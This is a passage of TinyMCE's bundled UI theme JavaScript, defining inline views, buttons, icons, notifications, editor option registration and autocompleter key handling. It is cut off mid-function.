        repositionMenus: (apis, tmenu) => {
          apis.repositionMenus(tmenu);
        }
      },
      factory: make$6,
      extraApis: {
        tieredData,
        singleData,
        collapseItem
      }
    });

    const makeMenu = (detail, menuSandbox, placementSpec, menuSpec, getBounds) => {
      const lazySink = () => detail.lazySink(menuSandbox);
      const layouts = menuSpec.type === 'horizontal' ? {
        layouts: {
          onLtr: () => belowOrAbove(),
          onRtl: () => belowOrAboveRtl()
        }
      } : {};
      const isFirstTierSubmenu = triggeringPaths => triggeringPaths.length === 2;
      const getSubmenuLayouts = triggeringPaths => isFirstTierSubmenu(triggeringPaths) ? layouts : {};
      return tieredMenu.sketch({
        dom: { tag: 'div' },
        data: menuSpec.data,
        markers: menuSpec.menu.markers,
        highlightOnOpen: menuSpec.menu.highlightOnOpen,
        fakeFocus: menuSpec.menu.fakeFocus,
        onEscape: () => {
          Sandboxing.close(menuSandbox);
          detail.onEscape.map(handler => handler(menuSandbox));
          return Optional.some(true);
        },
        onExecute: () => {
          return Optional.some(true);
        },
        onOpenMenu: (tmenu, menu) => {
          Positioning.positionWithinBounds(lazySink().getOrDie(), menu, placementSpec, getBounds());
        },
        onOpenSubmenu: (tmenu, item, submenu, triggeringPaths) => {
          const sink = lazySink().getOrDie();
          Positioning.position(sink, submenu, {
            anchor: {
              type: 'submenu',
              item,
              ...getSubmenuLayouts(triggeringPaths)
            }
          });
        },
        onRepositionMenu: (tmenu, primaryMenu, submenuTriggers) => {
          const sink = lazySink().getOrDie();
          Positioning.positionWithinBounds(sink, primaryMenu, placementSpec, getBounds());
          each$1(submenuTriggers, st => {
            const submenuLayouts = getSubmenuLayouts(st.triggeringPath);
            Positioning.position(sink, st.triggeredMenu, {
              anchor: {
                type: 'submenu',
                item: st.triggeringItem,
                ...submenuLayouts
              }
            });
          });
        }
      });
    };
    const factory$o = (detail, spec) => {
      const isPartOfRelated = (sandbox, queryElem) => {
        const related = detail.getRelated(sandbox);
        return related.exists(rel => isPartOf$1(rel, queryElem));
      };
      const setContent = (sandbox, thing) => {
        Sandboxing.setContent(sandbox, thing);
      };
      const showAt = (sandbox, thing, placementSpec) => {
        showWithin(sandbox, thing, placementSpec, Optional.none());
      };
      const showWithin = (sandbox, thing, placementSpec, boxElement) => {
        showWithinBounds(sandbox, thing, placementSpec, () => boxElement.map(elem => box$1(elem)));
      };
      const showWithinBounds = (sandbox, thing, placementSpec, getBounds) => {
        const sink = detail.lazySink(sandbox).getOrDie();
        Sandboxing.openWhileCloaked(sandbox, thing, () => Positioning.positionWithinBounds(sink, sandbox, placementSpec, getBounds()));
        Representing.setValue(sandbox, Optional.some({
          mode: 'position',
          config: placementSpec,
          getBounds
        }));
      };
      const showMenuAt = (sandbox, placementSpec, menuSpec) => {
        showMenuWithinBounds(sandbox, placementSpec, menuSpec, Optional.none);
      };
      const showMenuWithinBounds = (sandbox, placementSpec, menuSpec, getBounds) => {
        const menu = makeMenu(detail, sandbox, placementSpec, menuSpec, getBounds);
        Sandboxing.open(sandbox, menu);
        Representing.setValue(sandbox, Optional.some({
          mode: 'menu',
          menu
        }));
      };
      const hide = sandbox => {
        if (Sandboxing.isOpen(sandbox)) {
          Representing.setValue(sandbox, Optional.none());
          Sandboxing.close(sandbox);
        }
      };
      const getContent = sandbox => Sandboxing.getState(sandbox);
      const reposition = sandbox => {
        if (Sandboxing.isOpen(sandbox)) {
          Representing.getValue(sandbox).each(state => {
            switch (state.mode) {
            case 'menu':
              Sandboxing.getState(sandbox).each(tieredMenu.repositionMenus);
              break;
            case 'position':
              const sink = detail.lazySink(sandbox).getOrDie();
              Positioning.positionWithinBounds(sink, sandbox, state.config, state.getBounds());
              break;
            }
          });
        }
      };
      const apis = {
        setContent,
        showAt,
        showWithin,
        showWithinBounds,
        showMenuAt,
        showMenuWithinBounds,
        hide,
        getContent,
        reposition,
        isOpen: Sandboxing.isOpen
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        behaviours: augment(detail.inlineBehaviours, [
          Sandboxing.config({
            isPartOf: (sandbox, data, queryElem) => {
              return isPartOf$1(data, queryElem) || isPartOfRelated(sandbox, queryElem);
            },
            getAttachPoint: sandbox => {
              return detail.lazySink(sandbox).getOrDie();
            },
            onOpen: sandbox => {
              detail.onShow(sandbox);
            },
            onClose: sandbox => {
              detail.onHide(sandbox);
            }
          }),
          Representing.config({
            store: {
              mode: 'memory',
              initialValue: Optional.none()
            }
          }),
          Receiving.config({
            channels: {
              ...receivingChannel$1({
                isExtraPart: spec.isExtraPart,
                ...detail.fireDismissalEventInstead.map(fe => ({ fireEventInstead: { event: fe.event } })).getOr({})
              }),
              ...receivingChannel({
                ...detail.fireRepositionEventInstead.map(fe => ({ fireEventInstead: { event: fe.event } })).getOr({}),
                doReposition: reposition
              })
            }
          })
        ]),
        eventOrder: detail.eventOrder,
        apis
      };
    };
    const InlineView = single({
      name: 'InlineView',
      configFields: [
        required$1('lazySink'),
        onHandler('onShow'),
        onHandler('onHide'),
        optionFunction('onEscape'),
        field('inlineBehaviours', [
          Sandboxing,
          Representing,
          Receiving
        ]),
        optionObjOf('fireDismissalEventInstead', [defaulted('event', dismissRequested())]),
        optionObjOf('fireRepositionEventInstead', [defaulted('event', repositionRequested())]),
        defaulted('getRelated', Optional.none),
        defaulted('isExtraPart', never),
        defaulted('eventOrder', Optional.none)
      ],
      factory: factory$o,
      apis: {
        showAt: (apis, component, anchor, thing) => {
          apis.showAt(component, anchor, thing);
        },
        showWithin: (apis, component, anchor, thing, boxElement) => {
          apis.showWithin(component, anchor, thing, boxElement);
        },
        showWithinBounds: (apis, component, anchor, thing, bounds) => {
          apis.showWithinBounds(component, anchor, thing, bounds);
        },
        showMenuAt: (apis, component, anchor, menuSpec) => {
          apis.showMenuAt(component, anchor, menuSpec);
        },
        showMenuWithinBounds: (apis, component, anchor, menuSpec, bounds) => {
          apis.showMenuWithinBounds(component, anchor, menuSpec, bounds);
        },
        hide: (apis, component) => {
          apis.hide(component);
        },
        isOpen: (apis, component) => apis.isOpen(component),
        getContent: (apis, component) => apis.getContent(component),
        setContent: (apis, component, thing) => {
          apis.setContent(component, thing);
        },
        reposition: (apis, component) => {
          apis.reposition(component);
        }
      }
    });

    var global$9 = tinymce.util.Tools.resolve('tinymce.util.Delay');

    const factory$n = detail => {
      const events = events$a(detail.action);
      const tag = detail.dom.tag;
      const lookupAttr = attr => get$g(detail.dom, 'attributes').bind(attrs => get$g(attrs, attr));
      const getModAttributes = () => {
        if (tag === 'button') {
          const type = lookupAttr('type').getOr('button');
          const roleAttrs = lookupAttr('role').map(role => ({ role })).getOr({});
          return {
            type,
            ...roleAttrs
          };
        } else {
          const role = lookupAttr('role').getOr('button');
          return { role };
        }
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components: detail.components,
        events,
        behaviours: SketchBehaviours.augment(detail.buttonBehaviours, [
          Focusing.config({}),
          Keying.config({
            mode: 'execution',
            useSpace: true,
            useEnter: true
          })
        ]),
        domModification: { attributes: getModAttributes() },
        eventOrder: detail.eventOrder
      };
    };
    const Button = single({
      name: 'Button',
      factory: factory$n,
      configFields: [
        defaulted('uid', undefined),
        required$1('dom'),
        defaulted('components', []),
        SketchBehaviours.field('buttonBehaviours', [
          Focusing,
          Keying
        ]),
        option$3('action'),
        option$3('role'),
        defaulted('eventOrder', {})
      ]
    });

    const record = spec => {
      const uid = isSketchSpec(spec) && hasNonNullableKey(spec, 'uid') ? spec.uid : generate$5('memento');
      const get = anyInSystem => anyInSystem.getSystem().getByUid(uid).getOrDie();
      const getOpt = anyInSystem => anyInSystem.getSystem().getByUid(uid).toOptional();
      const asSpec = () => ({
        ...spec,
        uid
      });
      return {
        get,
        getOpt,
        asSpec
      };
    };

    var global$8 = tinymce.util.Tools.resolve('tinymce.util.I18n');

    const rtlTransform = {
      'indent': true,
      'outdent': true,
      'table-insert-column-after': true,
      'table-insert-column-before': true,
      'paste-column-after': true,
      'paste-column-before': true,
      'unordered-list': true,
      'list-bull-circle': true,
      'list-bull-default': true,
      'list-bull-square': true
    };
    const defaultIconName = 'temporary-placeholder';
    const defaultIcon = icons => () => get$g(icons, defaultIconName).getOr('!not found!');
    const getIconName = (name, icons) => {
      const lcName = name.toLowerCase();
      if (global$8.isRtl()) {
        const rtlName = ensureTrailing(lcName, '-rtl');
        return has$2(icons, rtlName) ? rtlName : lcName;
      } else {
        return lcName;
      }
    };
    const lookupIcon = (name, icons) => get$g(icons, getIconName(name, icons));
    const get$2 = (name, iconProvider) => {
      const icons = iconProvider();
      return lookupIcon(name, icons).getOrThunk(defaultIcon(icons));
    };
    const getOr = (name, iconProvider, fallbackIcon) => {
      const icons = iconProvider();
      return lookupIcon(name, icons).or(fallbackIcon).getOrThunk(defaultIcon(icons));
    };
    const needsRtlTransform = iconName => global$8.isRtl() ? has$2(rtlTransform, iconName) : false;
    const addFocusableBehaviour = () => config('add-focusable', [runOnAttached(comp => {
        child(comp.element, 'svg').each(svg => set$9(svg, 'focusable', 'false'));
      })]);
    const renderIcon$2 = (spec, iconName, icons, fallbackIcon) => {
      var _a, _b;
      const rtlIconClasses = needsRtlTransform(iconName) ? ['tox-icon--flip'] : [];
      const iconHtml = get$g(icons, getIconName(iconName, icons)).or(fallbackIcon).getOrThunk(defaultIcon(icons));
      return {
        dom: {
          tag: spec.tag,
          attributes: (_a = spec.attributes) !== null && _a !== void 0 ? _a : {},
          classes: spec.classes.concat(rtlIconClasses),
          innerHtml: iconHtml
        },
        behaviours: derive$1([
          ...(_b = spec.behaviours) !== null && _b !== void 0 ? _b : [],
          addFocusableBehaviour()
        ])
      };
    };
    const render$3 = (iconName, spec, iconProvider, fallbackIcon = Optional.none()) => renderIcon$2(spec, iconName, iconProvider(), fallbackIcon);
    const renderFirst = (iconNames, spec, iconProvider) => {
      const icons = iconProvider();
      const iconName = find$5(iconNames, name => has$2(icons, getIconName(name, icons)));
      return renderIcon$2(spec, iconName.getOr(defaultIconName), icons, Optional.none());
    };

    const notificationIconMap = {
      success: 'checkmark',
      error: 'warning',
      err: 'error',
      warning: 'warning',
      warn: 'warning',
      info: 'info'
    };
    const factory$m = detail => {
      const memBannerText = record({
        dom: {
          tag: 'p',
          innerHtml: detail.translationProvider(detail.text)
        },
        behaviours: derive$1([Replacing.config({})])
      });
      const renderPercentBar = percent => ({
        dom: {
          tag: 'div',
          classes: ['tox-bar'],
          styles: { width: `${ percent }%` }
        }
      });
      const renderPercentText = percent => ({
        dom: {
          tag: 'div',
          classes: ['tox-text'],
          innerHtml: `${ percent }%`
        }
      });
      const memBannerProgress = record({
        dom: {
          tag: 'div',
          classes: detail.progress ? [
            'tox-progress-bar',
            'tox-progress-indicator'
          ] : ['tox-progress-bar']
        },
        components: [
          {
            dom: {
              tag: 'div',
              classes: ['tox-bar-container']
            },
            components: [renderPercentBar(0)]
          },
          renderPercentText(0)
        ],
        behaviours: derive$1([Replacing.config({})])
      });
      const updateProgress = (comp, percent) => {
        if (comp.getSystem().isConnected()) {
          memBannerProgress.getOpt(comp).each(progress => {
            Replacing.set(progress, [
              {
                dom: {
                  tag: 'div',
                  classes: ['tox-bar-container']
                },
                components: [renderPercentBar(percent)]
              },
              renderPercentText(percent)
            ]);
          });
        }
      };
      const updateText = (comp, text) => {
        if (comp.getSystem().isConnected()) {
          const banner = memBannerText.get(comp);
          Replacing.set(banner, [text$2(text)]);
        }
      };
      const apis = {
        updateProgress,
        updateText
      };
      const iconChoices = flatten([
        detail.icon.toArray(),
        detail.level.toArray(),
        detail.level.bind(level => Optional.from(notificationIconMap[level])).toArray()
      ]);
      const memButton = record(Button.sketch({
        dom: {
          tag: 'button',
          classes: [
            'tox-notification__dismiss',
            'tox-button',
            'tox-button--naked',
            'tox-button--icon'
          ]
        },
        components: [render$3('close', {
            tag: 'div',
            classes: ['tox-icon'],
            attributes: { 'aria-label': detail.translationProvider('Close') }
          }, detail.iconProvider)],
        action: comp => {
          detail.onAction(comp);
        }
      }));
      const notificationIconSpec = renderFirst(iconChoices, {
        tag: 'div',
        classes: ['tox-notification__icon']
      }, detail.iconProvider);
      const notificationBodySpec = {
        dom: {
          tag: 'div',
          classes: ['tox-notification__body']
        },
        components: [memBannerText.asSpec()],
        behaviours: derive$1([Replacing.config({})])
      };
      const components = [
        notificationIconSpec,
        notificationBodySpec
      ];
      return {
        uid: detail.uid,
        dom: {
          tag: 'div',
          attributes: { role: 'alert' },
          classes: detail.level.map(level => [
            'tox-notification',
            'tox-notification--in',
            `tox-notification--${ level }`
          ]).getOr([
            'tox-notification',
            'tox-notification--in'
          ])
        },
        behaviours: derive$1([
          Focusing.config({}),
          config('notification-events', [run$1(focusin(), comp => {
              memButton.getOpt(comp).each(Focusing.focus);
            })])
        ]),
        components: components.concat(detail.progress ? [memBannerProgress.asSpec()] : []).concat(!detail.closeButton ? [] : [memButton.asSpec()]),
        apis
      };
    };
    const Notification = single({
      name: 'Notification',
      factory: factory$m,
      configFields: [
        option$3('level'),
        required$1('progress'),
        option$3('icon'),
        required$1('onAction'),
        required$1('text'),
        required$1('iconProvider'),
        required$1('translationProvider'),
        defaultedBoolean('closeButton', true)
      ],
      apis: {
        updateProgress: (apis, comp, percent) => {
          apis.updateProgress(comp, percent);
        },
        updateText: (apis, comp, text) => {
          apis.updateText(comp, text);
        }
      }
    });

    var NotificationManagerImpl = (editor, extras, uiMothership) => {
      const sharedBackstage = extras.backstage.shared;
      const getBounds = () => {
        const contentArea = box$1(SugarElement.fromDom(editor.getContentAreaContainer()));
        const win$1 = win();
        const x = clamp(win$1.x, contentArea.x, contentArea.right);
        const y = clamp(win$1.y, contentArea.y, contentArea.bottom);
        const right = Math.max(contentArea.right, win$1.right);
        const bottom = Math.max(contentArea.bottom, win$1.bottom);
        return Optional.some(bounds(x, y, right - x, bottom - y));
      };
      const open = (settings, closeCallback) => {
        const close = () => {
          closeCallback();
          InlineView.hide(notificationWrapper);
        };
        const notification = build$1(Notification.sketch({
          text: settings.text,
          level: contains$2([
            'success',
            'error',
            'warning',
            'warn',
            'info'
          ], settings.type) ? settings.type : undefined,
          progress: settings.progressBar === true,
          icon: settings.icon,
          closeButton: settings.closeButton,
          onAction: close,
          iconProvider: sharedBackstage.providers.icons,
          translationProvider: sharedBackstage.providers.translate
        }));
        const notificationWrapper = build$1(InlineView.sketch({
          dom: {
            tag: 'div',
            classes: ['tox-notifications-container']
          },
          lazySink: sharedBackstage.getSink,
          fireDismissalEventInstead: {},
          ...sharedBackstage.header.isPositionedAtTop() ? {} : { fireRepositionEventInstead: {} }
        }));
        uiMothership.add(notificationWrapper);
        if (isNumber(settings.timeout) && settings.timeout > 0) {
          global$9.setEditorTimeout(editor, () => {
            close();
          }, settings.timeout);
        }
        const reposition = () => {
          const notificationSpec = premade(notification);
          const anchorOverrides = { maxHeightFunction: expandable$1() };
          const allNotifications = editor.notificationManager.getNotifications();
          if (allNotifications[0] === thisNotification) {
            const anchor = {
              ...sharedBackstage.anchors.banner(),
              overrides: anchorOverrides
            };
            InlineView.showWithinBounds(notificationWrapper, notificationSpec, { anchor }, getBounds);
          } else {
            indexOf(allNotifications, thisNotification).each(idx => {
              const previousNotification = allNotifications[idx - 1].getEl();
              const nodeAnchor = {
                type: 'node',
                root: body(),
                node: Optional.some(SugarElement.fromDom(previousNotification)),
                overrides: anchorOverrides,
                layouts: {
                  onRtl: () => [south$2],
                  onLtr: () => [south$2]
                }
              };
              InlineView.showWithinBounds(notificationWrapper, notificationSpec, { anchor: nodeAnchor }, getBounds);
            });
          }
        };
        const thisNotification = {
          close,
          reposition,
          text: nuText => {
            Notification.updateText(notification, nuText);
          },
          settings,
          getEl: () => notification.element.dom,
          progressBar: {
            value: percent => {
              Notification.updateProgress(notification, percent);
            }
          }
        };
        return thisNotification;
      };
      const close = notification => {
        notification.close();
      };
      const getArgs = notification => {
        return notification.settings;
      };
      return {
        open,
        close,
        getArgs
      };
    };

    var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$6 = tinymce.util.Tools.resolve('tinymce.EditorManager');

    var global$5 = tinymce.util.Tools.resolve('tinymce.Env');

    var ToolbarMode$1;
    (function (ToolbarMode) {
      ToolbarMode['default'] = 'wrap';
      ToolbarMode['floating'] = 'floating';
      ToolbarMode['sliding'] = 'sliding';
      ToolbarMode['scrolling'] = 'scrolling';
    }(ToolbarMode$1 || (ToolbarMode$1 = {})));
    var ToolbarLocation$1;
    (function (ToolbarLocation) {
      ToolbarLocation['auto'] = 'auto';
      ToolbarLocation['top'] = 'top';
      ToolbarLocation['bottom'] = 'bottom';
    }(ToolbarLocation$1 || (ToolbarLocation$1 = {})));
    const option$2 = name => editor => editor.options.get(name);
    const wrapOptional = fn => editor => Optional.from(fn(editor));
    const register$e = editor => {
      const isPhone = global$5.deviceType.isPhone();
      const isMobile = global$5.deviceType.isTablet() || isPhone;
      const registerOption = editor.options.register;
      const stringOrFalseProcessor = value => isString(value) || value === false;
      const stringOrNumberProcessor = value => isString(value) || isNumber(value);
      registerOption('skin', {
        processor: value => isString(value) || value === false,
        default: 'oxide'
      });
      registerOption('skin_url', { processor: 'string' });
      registerOption('height', {
        processor: stringOrNumberProcessor,
        default: Math.max(editor.getElement().offsetHeight, 400)
      });
      registerOption('width', {
        processor: stringOrNumberProcessor,
        default: global$7.DOM.getStyle(editor.getElement(), 'width')
      });
      registerOption('min_height', {
        processor: 'number',
        default: 100
      });
      registerOption('min_width', { processor: 'number' });
      registerOption('max_height', { processor: 'number' });
      registerOption('max_width', { processor: 'number' });
      registerOption('style_formats', { processor: 'object[]' });
      registerOption('style_formats_merge', {
        processor: 'boolean',
        default: false
      });
      registerOption('style_formats_autohide', {
        processor: 'boolean',
        default: false
      });
      registerOption('line_height_formats', {
        processor: 'string',
        default: '1 1.1 1.2 1.3 1.4 1.5 2'
      });
      registerOption('font_family_formats', {
        processor: 'string',
        default: 'Andale Mono=andale mono,monospace;' + 'Arial=arial,helvetica,sans-serif;' + 'Arial Black=arial black,sans-serif;' + 'Book Antiqua=book antiqua,palatino,serif;' + 'Comic Sans MS=comic sans ms,sans-serif;' + 'Courier New=courier new,courier,monospace;' + 'Georgia=georgia,palatino,serif;' + 'Helvetica=helvetica,arial,sans-serif;' + 'Impact=impact,sans-serif;' + 'Symbol=symbol;' + 'Tahoma=tahoma,arial,helvetica,sans-serif;' + 'Terminal=terminal,monaco,monospace;' + 'Times New Roman=times new roman,times,serif;' + 'Trebuchet MS=trebuchet ms,geneva,sans-serif;' + 'Verdana=verdana,geneva,sans-serif;' + 'Webdings=webdings;' + 'Wingdings=wingdings,zapf dingbats'
      });
      registerOption('font_size_formats', {
        processor: 'string',
        default: '8pt 10pt 12pt 14pt 18pt 24pt 36pt'
      });
      registerOption('block_formats', {
        processor: 'string',
        default: 'Paragraph=p;' + 'Heading 1=h1;' + 'Heading 2=h2;' + 'Heading 3=h3;' + 'Heading 4=h4;' + 'Heading 5=h5;' + 'Heading 6=h6;' + 'Preformatted=pre'
      });
      registerOption('content_langs', { processor: 'object[]' });
      registerOption('removed_menuitems', {
        processor: 'string',
        default: ''
      });
      registerOption('menubar', {
        processor: value => isString(value) || isBoolean(value),
        default: !isPhone
      });
      registerOption('menu', {
        processor: 'object',
        default: {}
      });
      registerOption('toolbar', {
        processor: value => {
          if (isBoolean(value) || isString(value) || isArray(value)) {
            return {
              value,
              valid: true
            };
          } else {
            return {
              valid: false,
              message: 'Must be a boolean, string or array.'
            };
          }
        },
        default: true
      });
      range$2(9, num => {
        registerOption('toolbar' + (num + 1), { processor: 'string' });
      });
      registerOption('toolbar_mode', {
        processor: 'string',
        default: isMobile ? 'scrolling' : 'floating'
      });
      registerOption('toolbar_groups', {
        processor: 'object',
        default: {}
      });
      registerOption('toolbar_location', {
        processor: 'string',
        default: ToolbarLocation$1.auto
      });
      registerOption('toolbar_persist', {
        processor: 'boolean',
        default: false
      });
      registerOption('toolbar_sticky', {
        processor: 'boolean',
        default: editor.inline
      });
      registerOption('toolbar_sticky_offset', {
        processor: 'number',
        default: 0
      });
      registerOption('fixed_toolbar_container', {
        processor: 'string',
        default: ''
      });
      registerOption('fixed_toolbar_container_target', { processor: 'object' });
      registerOption('file_picker_callback', { processor: 'function' });
      registerOption('file_picker_validator_handler', { processor: 'function' });
      registerOption('file_picker_types', { processor: 'string' });
      registerOption('typeahead_urls', {
        processor: 'boolean',
        default: true
      });
      registerOption('anchor_top', {
        processor: stringOrFalseProcessor,
        default: '#top'
      });
      registerOption('anchor_bottom', {
        processor: stringOrFalseProcessor,
        default: '#bottom'
      });
      registerOption('draggable_modal', {
        processor: 'boolean',
        default: false
      });
      registerOption('statusbar', {
        processor: 'boolean',
        default: true
      });
      registerOption('elementpath', {
        processor: 'boolean',
        default: true
      });
      registerOption('branding', {
        processor: 'boolean',
        default: true
      });
      registerOption('promotion', {
        processor: 'boolean',
        default: true
      });
      registerOption('resize', {
        processor: value => value === 'both' || isBoolean(value),
        default: !global$5.deviceType.isTouch()
      });
      registerOption('sidebar_show', { processor: 'string' });
    };
    const isReadOnly = option$2('readonly');
    const getHeightOption = option$2('height');
    const getWidthOption = option$2('width');
    const getMinWidthOption = wrapOptional(option$2('min_width'));
    const getMinHeightOption = wrapOptional(option$2('min_height'));
    const getMaxWidthOption = wrapOptional(option$2('max_width'));
    const getMaxHeightOption = wrapOptional(option$2('max_height'));
    const getUserStyleFormats = wrapOptional(option$2('style_formats'));
    const shouldMergeStyleFormats = option$2('style_formats_merge');
    const shouldAutoHideStyleFormats = option$2('style_formats_autohide');
    const getContentLanguages = option$2('content_langs');
    const getRemovedMenuItems = option$2('removed_menuitems');
    const getToolbarMode = option$2('toolbar_mode');
    const getToolbarGroups = option$2('toolbar_groups');
    const getToolbarLocation = option$2('toolbar_location');
    const fixedContainerSelector = option$2('fixed_toolbar_container');
    const fixedToolbarContainerTarget = option$2('fixed_toolbar_container_target');
    const isToolbarPersist = option$2('toolbar_persist');
    const getStickyToolbarOffset = option$2('toolbar_sticky_offset');
    const getMenubar = option$2('menubar');
    const getToolbar = option$2('toolbar');
    const getFilePickerCallback = option$2('file_picker_callback');
    const getFilePickerValidatorHandler = option$2('file_picker_validator_handler');
    const getFilePickerTypes = option$2('file_picker_types');
    const useTypeaheadUrls = option$2('typeahead_urls');
    const getAnchorTop = option$2('anchor_top');
    const getAnchorBottom = option$2('anchor_bottom');
    const isDraggableModal$1 = option$2('draggable_modal');
    const useStatusBar = option$2('statusbar');
    const useElementPath = option$2('elementpath');
    const useBranding = option$2('branding');
    const getResize = option$2('resize');
    const getPasteAsText = option$2('paste_as_text');
    const getSidebarShow = option$2('sidebar_show');
    const promotionEnabled = option$2('promotion');
    const isSkinDisabled = editor => editor.options.get('skin') === false;
    const isMenubarEnabled = editor => editor.options.get('menubar') !== false;
    const getSkinUrl = editor => {
      const skinUrl = editor.options.get('skin_url');
      if (isSkinDisabled(editor)) {
        return skinUrl;
      } else {
        if (skinUrl) {
          return editor.documentBaseURI.toAbsolute(skinUrl);
        } else {
          const skin = editor.options.get('skin');
          return global$6.baseURL + '/skins/ui/' + skin;
        }
      }
    };
    const getLineHeightFormats = editor => editor.options.get('line_height_formats').split(' ');
    const isToolbarEnabled = editor => {
      const toolbar = getToolbar(editor);
      const isToolbarString = isString(toolbar);
      const isToolbarObjectArray = isArray(toolbar) && toolbar.length > 0;
      return !isMultipleToolbars(editor) && (isToolbarObjectArray || isToolbarString || toolbar === true);
    };
    const getMultipleToolbarsOption = editor => {
      const toolbars = range$2(9, num => editor.options.get('toolbar' + (num + 1)));
      const toolbarArray = filter$2(toolbars, isString);
      return someIf(toolbarArray.length > 0, toolbarArray);
    };
    const isMultipleToolbars = editor => getMultipleToolbarsOption(editor).fold(() => {
      const toolbar = getToolbar(editor);
      return isArrayOf(toolbar, isString) && toolbar.length > 0;
    }, always);
    const isToolbarLocationBottom = editor => getToolbarLocation(editor) === ToolbarLocation$1.bottom;
    const fixedContainerTarget = editor => {
      var _a;
      if (!editor.inline) {
        return Optional.none();
      }
      const selector = (_a = fixedContainerSelector(editor)) !== null && _a !== void 0 ? _a : '';
      if (selector.length > 0) {
        return descendant(body(), selector);
      }
      const element = fixedToolbarContainerTarget(editor);
      if (isNonNullable(element)) {
        return Optional.some(SugarElement.fromDom(element));
      }
      return Optional.none();
    };
    const useFixedContainer = editor => editor.inline && fixedContainerTarget(editor).isSome();
    const getUiContainer = editor => {
      const fixedContainer = fixedContainerTarget(editor);
      return fixedContainer.getOrThunk(() => getContentContainer(getRootNode(SugarElement.fromDom(editor.getElement()))));
    };
    const isDistractionFree = editor => editor.inline && !isMenubarEnabled(editor) && !isToolbarEnabled(editor) && !isMultipleToolbars(editor);
    const isStickyToolbar = editor => {
      const isStickyToolbar = editor.options.get('toolbar_sticky');
      return (isStickyToolbar || editor.inline) && !useFixedContainer(editor) && !isDistractionFree(editor);
    };
    const getMenus = editor => {
      const menu = editor.options.get('menu');
      return map$1(menu, menu => ({
        ...menu,
        items: menu.items
      }));
    };

    var Options = /*#__PURE__*/Object.freeze({
        __proto__: null,
        get ToolbarMode () { return ToolbarMode$1; },
        get ToolbarLocation () { return ToolbarLocation$1; },
        register: register$e,
        getSkinUrl: getSkinUrl,
        isReadOnly: isReadOnly,
        isSkinDisabled: isSkinDisabled,
        getHeightOption: getHeightOption,
        getWidthOption: getWidthOption,
        getMinWidthOption: getMinWidthOption,
        getMinHeightOption: getMinHeightOption,
        getMaxWidthOption: getMaxWidthOption,
        getMaxHeightOption: getMaxHeightOption,
        getUserStyleFormats: getUserStyleFormats,
        shouldMergeStyleFormats: shouldMergeStyleFormats,
        shouldAutoHideStyleFormats: shouldAutoHideStyleFormats,
        getLineHeightFormats: getLineHeightFormats,
        getContentLanguages: getContentLanguages,
        getRemovedMenuItems: getRemovedMenuItems,
        isMenubarEnabled: isMenubarEnabled,
        isMultipleToolbars: isMultipleToolbars,
        isToolbarEnabled: isToolbarEnabled,
        isToolbarPersist: isToolbarPersist,
        getMultipleToolbarsOption: getMultipleToolbarsOption,
        getUiContainer: getUiContainer,
        useFixedContainer: useFixedContainer,
        getToolbarMode: getToolbarMode,
        isDraggableModal: isDraggableModal$1,
        isDistractionFree: isDistractionFree,
        isStickyToolbar: isStickyToolbar,
        getStickyToolbarOffset: getStickyToolbarOffset,
        getToolbarLocation: getToolbarLocation,
        isToolbarLocationBottom: isToolbarLocationBottom,
        getToolbarGroups: getToolbarGroups,
        getMenus: getMenus,
        getMenubar: getMenubar,
        getToolbar: getToolbar,
        getFilePickerCallback: getFilePickerCallback,
        getFilePickerTypes: getFilePickerTypes,
        useTypeaheadUrls: useTypeaheadUrls,
        getAnchorTop: getAnchorTop,
        getAnchorBottom: getAnchorBottom,
        getFilePickerValidatorHandler: getFilePickerValidatorHandler,
        useStatusBar: useStatusBar,
        useElementPath: useElementPath,
        promotionEnabled: promotionEnabled,
        useBranding: useBranding,
        getResize: getResize,
        getPasteAsText: getPasteAsText,
        getSidebarShow: getSidebarShow
    });

    const autocompleteSelector = '[data-mce-autocompleter]';
    const detect = elm => closest$1(elm, autocompleteSelector);
    const findIn = elm => descendant(elm, autocompleteSelector);

    const setup$e = (api, editor) => {
      const redirectKeyToItem = (item, e) => {
        emitWith(item, keydown(), { raw: e });
      };
      const getItem = () => api.getMenu().bind(Highlighting.getHighlighted);
      editor.on('keydown', e => {
        const keyCode = e.which;
        if (!api.isActive()) {
          return;
        }
        if (api.isMenuOpen()) {
          if (keyCode === 13) {
            getItem().each(emitExecute);
            e.preventDefault();
          } else if (keyCode === 40) {
            getItem().fold(() => {
              api.getMenu().each(Highlighting.highlightFirst);
            }, item => {
              redirectKeyToItem(item, e);
            });
            e.preventDefault();
            e.stopImmediatePropagation();
          } else if (keyCode === 37 || keyCode === 38 || keyCode === 39) {
            getItem().each(item => {
              redirectKeyToItem(item, e);
              e.preventDefault();
              e.stopImmediatePropagation();
            });
          }
        } else {
          if (keyCode === 13 || keyCode === 38 || keyCode === 40) {
            api.cancelIfNecessary();
          }
        }
      });
      editor.on('NodeChange', e => {
        if (api.isActive() && !api.isProcessingAction() && detect(SugarElement.fromDom(e.element)).isNone()) {
          api.cancelIfNecessary();
        }
      });
    };
    const AutocompleterEditorEvents = { setup: setup$e };

    var ItemResponse;
    (function (ItemResponse) {
      ItemResponse[ItemResponse['CLOSE_ON_EXECUTE'] = 0] = 'CLOSE_ON_EXECUTE';
      ItemResponse[ItemResponse['BUBBLE_TO_SANDBOX'] = 1] = 'BUBBLE_TO_SANDBOX';
    }(ItemResponse || (ItemResponse = {})));
    var ItemResponse$1 = ItemResponse;

    const navClass = 'tox-menu-nav__js';
    const selectableClass = 'tox-collection__item';
    const colorClass = 'tox-swatch';
    const presetClasses = {
      normal: navClass,
      color: colorClass
    };
    const tickedClass = 'tox-collection__item--enabled';
    const groupHeadingClass = 'tox-collection__group-heading';
    const iconClass = 'tox-collection__item-icon';
    const textClass = 'tox-collection__item-label';
    const accessoryClass = 'tox-collection__item-accessory';
    const caretClass = 'tox-collection__item-caret';
    const checkmarkClass = 'tox-collection__item-checkmark';
    const activeClass = 'tox-collection__item--active';
    const containerClass = 'tox-collection__item-container';
    const containerColumnClass = 'tox-collection__item-container--column';
    const containerRowClass = 'tox-collection__item-container--row';
    const containerAlignRightClass = 'tox-collection__item-container--align-right';
    const containerAlignLeftClass = 'tox-collection__item-container--align-left';
    const containerValignTopClass = 'tox-collection__item-container--valign-top';
    const containerValignMiddleClass = 'tox-collection__item-container--valign-middle';
    const containerValignBottomClass = 'tox-collection__item-container--valign-bottom';
    const classForPreset = presets => get$g(presetClasses, presets).getOr(navClass);

    const forMenu = presets => {
      if (presets === 'color') {
        return 'tox-swatches';
      } else {
